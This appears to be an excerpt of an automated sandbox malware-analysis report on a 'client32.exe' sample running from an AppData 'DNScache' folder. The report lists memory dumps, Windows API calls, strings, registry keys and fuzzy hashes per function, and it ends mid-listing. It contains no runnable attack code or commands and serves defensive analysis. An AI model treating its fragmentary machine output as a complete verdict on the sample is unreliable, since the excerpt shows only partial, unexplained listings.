Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2407233060-2037925671
Opcode ID: 085078a93cf01d6cd745efb889e69e74e2bb4d9adf3f1b8d0dfdd7080f47b067
Instruction ID: 5f453893a9419e3fba1624c565a5d58f13e789210917621e1ac34ee451bcfe89
Opcode Fuzzy Hash: 085078a93cf01d6cd745efb889e69e74e2bb4d9adf3f1b8d0dfdd7080f47b067
Instruction Fuzzy Hash: 86212B75D016659BDB11CB60CC44B6EBBE89F84359F0000A9EC29DB248FF79D900C7A1

Function 11135D30 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11135D5A
GetTickCount.KERNEL32 ref: 11135D61

Strings

DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 11135E1C
Client, xrefs: 11135D85
AutoICFConfig, xrefs: 11135D80
DoICFConfig() OK, xrefs: 11135E06

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK
API String ID: 536389180-1512301160
Opcode ID: 7b2e8e82f2c58a2ab30bcd25ea828e2c076162f50aa6284fde2cb98638086cbc
Instruction ID: fa883785aadc2565eef748b6a86e90a036384920612202802f39f8997ef65e6f
Opcode Fuzzy Hash: 7b2e8e82f2c58a2ab30bcd25ea828e2c076162f50aa6284fde2cb98638086cbc
Instruction Fuzzy Hash: F721E734A222B24AFB638AE5AD9876AFB412780B2FF048035D450861CDE7749485CF7A

Function 110259B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 110259C6
K32GetProcessImageFileNameA.KERNEL32(?,?,?,111042CF,00000000,00000000,?,111035E7,00000000,?,00000104), ref: 110259E2
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 110259F6
SetLastError.KERNEL32(00000078,111042CF,00000000,00000000,?,111035E7,00000000,?,00000104), ref: 11025A19

Strings

GetModuleFileNameExA, xrefs: 110259F0
GetProcessImageFileNameA, xrefs: 110259C0

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: 574c1049adaa66244907c1f724b524b0e4bf3f673811b9f0067a0ab7346ebc51
Instruction ID: 0267368db0d213cc5bf1be483e2b2b76458ef177770ab8f8022e472834cf6718
Opcode Fuzzy Hash: 574c1049adaa66244907c1f724b524b0e4bf3f673811b9f0067a0ab7346ebc51
Instruction Fuzzy Hash: 8C016136641315ABD321DF65DC84F8BB7E8EB89765F10452AF985D7600D631E800CBA4

Function 1110C340 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,7736C3F0,00000000,?,1110D2F5,1110CE90,00000001,00000000), ref: 1110C357
CreateThread.KERNEL32(00000000,1110D2F5,00000001,00000000,00000000,0000000C), ref: 1110C37A
WaitForSingleObject.KERNEL32(?,000000FF,?,1110D2F5,1110CE90,00000001,00000000,?,?,?,?,?,110309CC), ref: 1110C3A7
CloseHandle.KERNEL32(?,?,1110D2F5,1110CE90,00000001,00000000,?,?,?,?,?,110309CC), ref: 1110C3B1

Strings

..\ctl32\Refcount.cpp, xrefs: 1110C38B
hThread, xrefs: 1110C390

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 3360349984-1136101629
Opcode ID: 75477037af4fe5bce21258ace1dcfdefae4ceac2ac7a6d6788021deaac2b5715
Instruction ID: f5cfe19a2c65023992d5486e101f813a89f713485558c9afca106433fe3c5fe1
Opcode Fuzzy Hash: 75477037af4fe5bce21258ace1dcfdefae4ceac2ac7a6d6788021deaac2b5715
Instruction Fuzzy Hash: E80184357447127FE3208E59DC89F5BBBE8EB44B65F108229FB159B2C0D670E5048BA4

Function 110312F0 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11031337

Strings

_HF, xrefs: 11031318, 1103131D
_HW, xrefs: 11031300
928100, xrefs: 1103131E
_SW, xrefs: 1103130C
%s%s%s.bin, xrefs: 11031331

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$928100$_HF$_HW$_SW
API String ID: 2111968516-3106404854
Opcode ID: 3cadedcaca85c7d32890df03e09b4770c2ac2c560999f8ab1a4eafac2d3aae07
Instruction ID: 2d37ec8be248a08c2e3c36772f725827158d619cf10ab6990a6c8ba6e6d701e2
Opcode Fuzzy Hash: 3cadedcaca85c7d32890df03e09b4770c2ac2c560999f8ab1a4eafac2d3aae07
Instruction Fuzzy Hash: 93E09B60D2060C7FF30065588C057AFBB9C1F4931AF40C0E0FEE997A82E93494404A92

Function 110FFC20 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 110FFC73
GetStockObject.GDI32(00000004), ref: 110FFCCB
RegisterClassA.USER32(?), ref: 110FFCDF
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00130000,00000000,00000000,00000000), ref: 110FFD1A

Strings

NSMDesktopWnd, xrefs: 110FFC59, 110FFCD8, 110FFD14

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: a2f12e5cb8144b3ce496c2a76372007a9d3ced29ffed7e88decd9379dc08c227
Instruction ID: 8ec14acb765fe308697af1e0b699cc17b638db9dbc28f04e7c23575fca5ef36d
Opcode Fuzzy Hash: a2f12e5cb8144b3ce496c2a76372007a9d3ced29ffed7e88decd9379dc08c227
Instruction Fuzzy Hash: A93116B1D0125AAFCB41CFA9D880B9EFBF4FB08214F10862EE519E3284E7345544CFA5

Function 1109D9C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,7622F550,?,00000000), ref: 1109D9F8
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109DA14
AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,00770AE0,00770AE0,00770AE0,00770AE0,00770AE0,00770AE0,00770AE0,w,?,00000001,00000001), ref: 1109DA40
EqualSid.ADVAPI32(?,00770AE0,?,00000001,00000001), ref: 1109DA53

Strings

w, xrefs: 1109DA1A, 1109DA23, 1109DA46

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateEqualInitialize
String ID: w
API String ID: 1878589025-3502217353
Opcode ID: c258226c146c350308cb7da9233c5495e7a755e7f5133af5fac3f6f334d4832e
Instruction ID: e1739435fd28c5009021fa5f322a8572e523871045f2c572860e4f699d643338
Opcode Fuzzy Hash: c258226c146c350308cb7da9233c5495e7a755e7f5133af5fac3f6f334d4832e
Instruction Fuzzy Hash: CB217C71F0022EAFEB00CAA5CC81FBFF7F8EB44744F408069E915DB280E675A91187A1

Function 111416D0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 11141740
RegCloseKey.ADVAPI32(?), ref: 111417A4

Strings

SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 11141720
SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11141707, 1114173E
ForceRTL, xrefs: 11141763

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: 99a9639f8b5a3cd35e38661cbd72eb469aa7efbae8eec8b92f355b84edb3575c
Instruction ID: 91be659002a641db8a89ab9a21f7cfc48618381207bd1d2684db2ae3e6416916
Opcode Fuzzy Hash: 99a9639f8b5a3cd35e38661cbd72eb469aa7efbae8eec8b92f355b84edb3575c
Instruction Fuzzy Hash: 79219B75F0062A9FE720DAA4CD80FEAF7B9AB44715F2041AAD91DF3180E731BD458B61

Function 1110E580 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 1110E4E0: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1110E50A
Part of subcall function 1110E4E0: __wsplitpath.LIBCMT ref: 1110E525
Part of subcall function 1110E4E0: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1110E559

GetComputerNameA.KERNEL32(?,?), ref: 1110E628

Strings

ACM, xrefs: 1110E5E2
\Registry\Machine\SOFTWARE\Classes\N%x.%s, xrefs: 1110E637
, xrefs: 1110E621
\Registry\Machine\SOFTWARE\Classes\N%x, xrefs: 1110E5D0

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ComputerDirectoryInformationNameSystemVolume__wsplitpath
String ID: $ACM$\Registry\Machine\SOFTWARE\Classes\N%x$\Registry\Machine\SOFTWARE\Classes\N%x.%s
API String ID: 806825551-1858614750
Opcode ID: 183f370caf69bbe17c6082279daca77b7293399848dc477f308e72684283830f
Instruction ID: 2ab1a5a8d67e4daa57ccfa6bc840e6a71df33f8eb624919f4b1bd86a919bc0c5
Opcode Fuzzy Hash: 183f370caf69bbe17c6082279daca77b7293399848dc477f308e72684283830f
Instruction Fuzzy Hash: 82212672E052A55BD701CE769D80BFFFFBA9B85208F0849A8E855D7142F636E904C790

Function 111405A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 1113FFC0: GetCurrentProcess.KERNEL32(110290EF,?,11140213,?), ref: 1113FFCC
Part of subcall function 1113FFC0: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\DNScache\client32.exe,00000104,?,11140213,?), ref: 1113FFE9

WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 111405F5
ResetEvent.KERNEL32(00000250), ref: 11140609
SetEvent.KERNEL32(00000250), ref: 1114061F
WaitForMultipleObjects.KERNEL32(00000000,?,00000000,000000FF), ref: 1114062E

Strings

MiniDump, xrefs: 111405A7

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EventMultipleObjectsWait$CurrentFileModuleNameProcessReset
String ID: MiniDump
API String ID: 1494854734-2840755058
Opcode ID: 74d181cba482439661d7d5458db5f0f90b1b5973d406018fe50245269e24acaf
Instruction ID: a18e6ec93f2f51a70a4194e0933b1d17668afa145907d141e06e252061f61c7d
Opcode Fuzzy Hash: 74d181cba482439661d7d5458db5f0f90b1b5973d406018fe50245269e24acaf
Instruction Fuzzy Hash: 6E112C7190012677D701DFE69C81F9EF768AB04B28F204231F620D71C8D771A50187F5

Function 111430E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32(00000000,0000194E,?,00000400), ref: 1114310F
wsprintfA.USER32 ref: 11143146

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

#%d, xrefs: 11143140
i < _tsizeof (buf), xrefs: 11143160
..\ctl32\util.cpp, xrefs: 1114315B

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: 50f03ae9888073d648264a02d0f2898704c8c145e373352b4e215a8d93f9feb0
Instruction ID: f51f52dcbd712469e4e57ed30d3ae6ecd606de78ecfb21ce2ea79b628c9a40ce
Opcode Fuzzy Hash: 50f03ae9888073d648264a02d0f2898704c8c145e373352b4e215a8d93f9feb0
Instruction Fuzzy Hash: 0B1108FAD012396BD710DAA5DD80FEAF37C9B44B18F004165FB09F7141E630AA01C7A5

Function 6C4EDBD0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6C4EDBE9

